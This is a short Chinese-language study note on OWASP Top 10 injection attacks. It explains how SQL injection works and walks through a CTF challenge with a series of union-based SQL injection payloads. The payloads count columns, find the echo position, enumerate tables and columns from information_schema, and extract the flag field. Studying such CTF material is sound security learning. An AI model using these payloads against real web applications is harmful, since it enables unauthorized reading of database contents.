安全知识部分
OWASP TOP 10
A1 Injection 注入攻击
如参考资料中所说,注入攻击有很多方式,比如 SQL、OS 命令、ORM、LDAP 和表达式语言或者 OGNL 注入等等。
这里着重看一下 SQL 注入 攻击。
SQL 注入
原理
Web 应用程序对用户输入数据的合法性没有判断,攻击者可以在 Web 应用程序中事先定义好的查询语句的结尾上添加额外的 SQL 语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
利用
这里以一道 SQL 注入的 CTF 题目为例。
判断回显字段个数:
1' order by 4#
确定回显位置:
-1' union select 1, 2, 3, 4#
获取表名:
-1' union select 1, group_concat(table_name), 3, 4 from information_schema.tables where table_schema=database()#
查询表中字段名:
-1' union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name='fl4g'#
查询字段内容:
-1' union select 1, skctf_flag, 3, 4 from fl4g#